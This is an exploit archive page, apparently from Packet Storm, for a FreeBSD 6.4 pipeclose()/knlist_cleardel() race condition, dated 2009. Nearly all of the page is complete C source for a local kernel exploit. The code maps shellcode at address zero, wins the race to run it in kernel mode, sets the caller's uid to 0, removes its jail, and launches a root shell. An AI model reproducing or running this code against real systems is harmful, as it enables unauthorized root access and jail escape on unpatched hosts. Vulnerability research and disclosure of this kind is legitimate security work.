exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FreeBSD 6.4 pipeclose()/knlist_cleardel() Race Condition

FreeBSD 6.4 pipeclose()/knlist_cleardel() Race Condition
Posted Oct 8, 2009
Authored by Przemyslaw Frasunek

FreeBSD version 6.4 pipeclose()/knlist_cleardel() race condition exploit that results in a NULL pointer dereference and runs code in kernel mode giving a root shell and escaping from jail.

tags | exploit, shell, kernel, root
systems | freebsd
SHA-256 | ff5a5f20c66ed5ad7afaa75d4c20c068bb2ea0c34ba9b00106c522b3827ab739

FreeBSD 6.4 pipeclose()/knlist_cleardel() Race Condition

Change Mirror Download
#if 0
FreeBSD 6.4 and below are vulnerable to race condition between pipeclose() and
knlist_cleardel() resulting in NULL pointer dereference. The following code
exploits vulnerability to run code in kernel mode, giving root shell and
escaping from jail.
#endif

/* 29.08.2009, babcia padlina
* FreeBSD <= 6.4 pipeclose()/knlist_cleardel() race condition
*
* works only on multiprocessor systems
* gcc -o padlina2 padlina2.c -lpthread
*/

#define _KERNEL

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/timespec.h>
#include <pthread.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/proc.h>

int fd[2], kq;
struct kevent kev, ke[2];
struct timespec timeout;
volatile int gotroot = 0;

static void kernel_code(void) {
struct thread *thread;
gotroot = 1;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
thread->td_proc->p_ucred->cr_uid = 0;
thread->td_proc->p_ucred->cr_prison = NULL;

return;
}

static void code_end(void) {
return;
}

void do_thread(void) {
while (!gotroot) {
if (pipe(fd) < 0)
perror("pipe");
memset(&kev, 0, sizeof(kev));
EV_SET(&kev, fd[0], EVFILT_READ, EV_ADD | EV_CLEAR, 0, 0, NULL);
EV_SET(&kev, fd[1], EVFILT_WRITE, EV_ADD | EV_CLEAR, 0, 0, NULL);

if (kevent(kq, &kev, 2, &ke, 2, &timeout) < 0)
perror("kevent");

close(fd[0]);
close(fd[1]);
}

return;
}

void do_thread2(void) {
usleep(100);
while(!gotroot) {
close(fd[0]);
close(fd[1]);
}

return;
}

int main(void) {
int i;
pthread_t pth, pth2;

if (!getuid() || !geteuid()) {
printf("already root.\n");
exit(-1);
}

printf("BEWARE! this exploit isn't 100%% reliable. successful exploitation\n"
"may cause kernel memory corruption leading to system crash.\n"
"it is also possible, that exploit will hang and such process\n"
"will be unkillable. hit enter if you want to continue.");

getchar();

/* safe landing place for 6.4-RELEASE - it protects us from page fault
due to invalid read */

if (mmap((void *)0x408b0000, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
perror("mmap");
exit(-1);
}

if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
perror("mmap");
exit(-1);
}

memcpy(0, &kernel_code, &code_end - &kernel_code);

if ((kq = kqueue()) < 0) {
perror("kqueue");
exit(-1);
}

pthread_create(&pth, NULL, (void *)do_thread, NULL);
pthread_create(&pth2, NULL, (void *)do_thread2, NULL);

timeout.tv_sec = 0;
timeout.tv_nsec = 1;

printf("waiting for root... it should take no more than few seconds.\n"
"otherwise, run exploit again.");
i = 0;

while (!gotroot && i++ < 4000)
usleep(100);

setuid(0);

if (getuid()) {
printf("failed. on unpatched systems, the exploit will be unkillable from now. try again.\n");
exit(-1);
}

execl("/bin/sh", "sh", NULL);

return 0;
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close